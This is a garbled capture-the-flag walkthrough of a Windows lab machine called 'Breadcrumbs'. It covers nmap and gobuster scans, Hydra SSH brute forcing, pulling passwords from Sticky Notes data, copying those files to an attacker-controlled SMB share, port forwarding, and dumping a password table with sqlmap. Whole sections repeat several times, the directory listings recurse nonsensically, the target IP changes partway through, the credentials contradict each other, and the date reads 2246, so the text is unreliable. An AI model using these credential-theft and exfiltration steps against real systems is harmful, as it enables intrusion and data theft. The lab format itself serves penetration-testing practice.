Breadcrumbs

10 Oct 2246

Scanning

Nmap: `sudo nmap -sC -sV -p- -oA nmap/breadcrumbs 10.10.10.103` Nmap: `sudo nmap -sU -oA nmap/breadcrumbs-udp 10.10.10.103` Nikto: `nikto -h http://10.10.10.103 -Tuvmb -Call -output nikto/breadcrumbs` Gobuster: `gobuster dir -u http://10.10.10.103 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x asp,aspx,html,htm,txt -o gobuster/breadcrumbs`

```
Nmap scan report for 10.10.10.103
Host is up (0.036s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|   Potentially risky methods: TRACE
| http-server-header: Microsoft-IIS/10.0
| http-title: Breadcrumbs
Service Info: OS: Windows; CPU: x86-64
```

```
Nmap scan report for 10.10.10.103
Host is up (0.036s latency).
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|   Potentially risky methods: TRACE
| http-server-header: Microsoft-IIS/10.0
| http-title: Breadcrumbs
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2014 11.00.2100.60 RTM
| ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ms-sql-tables: ERROR: Script execution failed (use -d to debug)
| ms-sql-xpstor: ERROR: Script execution failed (use -d to debug)
| smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: ERROR: Script execution failed (use -d to debug)
| smb2-security-mode: ERROR: Script execution failed (use -d to debug)
| smb2-time: ERROR: Script execution failed (use -d to debug)
| ssl-cert: ERROR: Script execution failed (use -d to debug)
| ssl-enum-ciphers: ERROR: Script execution failed (use -d to debug)
| tls-alpn: ERROR: Script execution failed (use -d to debug)
| tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPU: x86-64
```

We get a wealth of information from this scan. We can see we're dealing with a windows machine, with a number of interesting services like web ports and a friendly SQL service.

Enumeration

Library: We're met with this welcome and pronounce that we are looking '*up to us*'. So we can look for some ways to upload files or execute code. Nothing much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

Find-Vulns: `http://10.10.10.103` We find some interesting directories: Not finding much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

```
+ http://10.10.10.103/aspnet_client/ (CODE:403|SIZE:1233)
+ http://10.10.10.103/Library/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Login/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/Logout/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Change/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Delete/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Edit/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
```

We get a wealth of information from this scan. We can see we're dealing with a windows machine, with a number of interesting services like web ports and a friendly SQL service.

Enumeration

Library: We're met with this welcome and pronounce that we are looking '*up to us*'. So we can look for some ways to upload files or execute code. Nothing much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

Find-Vulns: `http://10.10.10.103` We find some interesting directories: Not finding much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

```
+ http://10.10.10.103/aspnet_client/ (CODE:403|SIZE:1233)
+ http://10.10.10.103/Library/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Login/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/Logout/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Change/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Delete/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Edit/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
```

We get a wealth of information from this scan. We can see we're dealing with a windows machine, with a number of interesting services like web ports and a friendly SQL service.

Enumeration

Library: We're met with this welcome and pronounce that we are looking '*up to us*'. So we can look for some ways to upload files or execute code. Nothing much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

Find-Vulns: `http://10.10.10.103` We find some interesting directories: Not finding much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

```
+ http://10.10.10.103/aspnet_client/ (CODE:403|SIZE:1233)
+ http://10.10.10.103/Library/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Login/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/Logout/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Change/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Delete/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Edit/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
```

We get a wealth of information from this scan. We can see we're dealing with a windows machine, with a number of interesting services like web ports and a friendly SQL service.

Enumeration

Library: We're met with this welcome and pronounce that we are looking '*up to us*'. So we can look for some ways to upload files or execute code. Nothing much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

Find-Vulns: `http://10.10.10.103` We find some interesting directories: Not finding much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

```
+ http://10.10.10.103/aspnet_client/ (CODE:403|SIZE:1233)
+ http://10.10.10.103/Library/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Login/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/Logout/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Change/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Delete/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Edit/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
```

We get a wealth of information from this scan. We can see we're dealing with a windows machine, with a number of interesting services like web ports and a friendly SQL service.

Enumeration

Library: We're met with this welcome and pronounce that we are looking '*up to us*'. So we can look for some ways to upload files or execute code. Nothing much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

Find-Vulns: `http://10.10.10.103` We find some interesting directories: Not finding much here, but we do have a number of pages to work with. Nothing much here, but we do have a number of pages to work with.

```
+ http://10.10.10.103/aspnet_client/ (CODE:403|SIZE:1233)
+ http://10.10.10.103/Library/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Login/ (CODE:200|SIZE:1150)
+ http://10.10.10.103/Library/Admin/Logout/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Change/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Delete/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Edit/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/Index/ (CODE:302|SIZE:0)
+ http://10.10.10.103/Library/Admin/Profile/Upload
```

Hydra confirms that the creds are good, so let's get on the box as **Juliette**

```
[DATA] attacking ssh://10.10.10.228:22/
[22][ssh] host: 10.10.10.228   login: juliette   password: JKL1MS./{}3!
1 of 1 target successfully completed, 1 valid password found
```

Juliette Shell

We can get the user flag from Juliette's Desktop, and then hunt around to escalate our privs.

Enumeration

We see a message about passwords being on a Sticky Note.

```
dir
type *
rem Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager/vault
  vim.exe program/vim*
  rem Export stored passwords in plain text/ids
```

Rather than hunt around for this manually, lets' open `powershell` in our ssh shell, and then have a recursive 'grep'-like search for a fullpath in \AppData\ for anything relevant to Sticky Notes

```
# #open powershell from ssh shell
# powershell

# #move to AppData
# cd "C:\Users\juliette\AppData"

# #then get-child item recursively from here
#     #select object fullname will filter for only the path and nothing else
#     #and then select string is essentially grepping for anything 'sticky'
# gci -recurse|select-object fullname| select-string "sticky"
```

```
PS C:>Users>juliette>AppData> gci -recurse|select-object fullname| select-string "sticky"

@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\AC}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\AppData}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalCache}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\RoamingState}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\TempState}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\AppCache}
@{fullname=C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite}
```

Sticky Notes

This directory seemed to hold some useful information in our previous recursive search:

`C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\`

We can transfer the contents of this directory back to our kali

```
# #rsterl impacket smbserver
# sudo impacket-smbserver kali . -smb2support

# #transfer over items
# copy * \\10.10.14.9\kali\\
```

```
C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState>copy * \\10.10.14.9\kali\\
'copy' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState>

PS C:>Users>juliette>AppData> cd "C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState"
PS C:>Users>juliette>AppData>Local>Packages>Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe>LocalState> copy * \\10.10.14.9\kali\\
plum.sqlite
plum.sqlite-shm
plum.sqlite-wal
PS C:>Users>juliette>AppData>Local>Packages>Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe>LocalState>
```

Rather than import these files into an SQL reader, we can simply `strings *` in the directory we smb-transfered them over to on our kali .

- We find the password for the **Development** account: "**fN3jsN5Ee@g**"

```
LibFrEmbDbTB-B55d-b878-a5de-d7b9c1a6b6e2 Development  fN3jsN5Ee@g
{"windowPosition":"{\"x\":0,\"y\":0,\"width\":1366,\"height\":768}","isLeftPaneExpanded":true,"activeDeviceId":"\"\"
{"item-351,296,351,1124-120,120#0|lumdb:2b52d0-7c6d-4bae-939e-7b6f38cfe7bd81e57-9d29-42d8-941c
LibFrEmbDbTB-B55d-b878-a5de-d7b9c1a6b6e2 Development  juliette: qO1m8./{}3!
LibFrEmbDbTB-B55d-b878-a5de-d7b9c1a6b6e2 Development  fN3jsN5Ee@g
```

Hydra confirms we are able to **SSH** in as **Development**

```
[DATA] attacking ssh://10.10.10.228:22/
[22][ssh] host: 10.10.10.228   login: Development   password: fN3jsN5Ee@g
1 of 1 target successfully completed, 1 valid password found
```

Development Shell

Once in the Development shell, we can find an interesting **binary** in `C:\Development` . Let's transfer it back to our kali machine for further investigation

```
development@BREADCRUMBS C:\Development>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Development

01/15/2021  05:03 PM    <DIR>          .
01/15/2021  05:03 PM    <DIR>          ..
11/29/2020  04:11 AM            18,312 Krypter_Linux
               1 File(s)         18,312 bytes
               2 Dir(s)   3,410,972,672 bytes free
```

Kyrpter_Linux

Before we go chucking this into a dissambler or anything, let's try and glean something via `strace` -you may need to install via `sudo apt-get install strace`

strace and ltrace offer insight into what an executable does. We can check to see if any hardcoded credentials are included:

```
# strace ./Krypter_Linux | ack -i pass --passthru
# #ack is grep's bigger, cooler brother.
#     #install it via sudo apt-get install ack
```

```
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "@\n", 1024)                    = 2
close(3)                                = 0
openat(AT_FDCWD, "/etc/gcrypt/hwf.deny", O_RDONLY) = -1 ENOENT
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
write(1, "Krypter V1.2\n\nNew project by Jul"..., 228) = 228
exit_group(0)                           = ?
+++ exited with 0 +++
Krypter V1.2

New project by Juliette.
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!

a*%

No key supplied.
USAGE:

Krypter <key>
```

So now we know what to look for when we dissamble this binary: we are looking for the **syntax** it uses to retrieve the **password from the cloud**

Dissamble Strings!

I am waaaaayyy too lazy to put this in a whole dissambler. Let's just use `strings`

We need to be surgical in what we strings and then `grep/ack` for . Let's start with 'pass'. `strings Krypter_Linux | ack pass --passthru`

```
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
No key supplied.
USAGE:
Krypter <key>
```

This is interesting. So it seems this will yield a password:

`http://passmanager.htb:1234/index.php?method=select&username=administrator&table=passwords`

- But keep in mind from our initial scan, we had no port 1234. This means it is likely an internal service. So let's try and look from the **development shell**

Cloud Password

If we `curl` this as **localhost** from Development's shell, we're returned some info an the AES strting

```
development@BREADCRUMBS C:\Users\development>curl "127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"
[{"id":"1",
"account":"Administrator",
"aes_key":"",
"password":"K3R0YEL:<39YEL"}]
```

I tried to enumerate this further, changing the queries to meet **mariadbs** parameters.... but that didn't work.

- So instead, I decided to be lazy, forward the port, and let `sqlmap` fuzz for me

```
#SSH forward victim port back to us
ssh -NvL 1234:127.0.0.1:1234 development@10.10.10.228 #sign in with creds
#then in a separate terminal, begin sqlmap fuzz
sqlmap -dump -u\
"127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"
```

```
[1:34:11] [INFO] writing hashes to a temporary file '/tmp/sqlmaphtdnynh2157/sqlmaphashes-0e8hgzd.txt'

Database: kread
Table: passwords
[1 entry]
+----+---------+---------+---------+
| id | account | aes_key | password |
+----+---------+---------+---------+
| 1  | Administrator | k3R0YEL:<39YEL | K3R0YEL:<39YEL#$%&@&%&%&%
```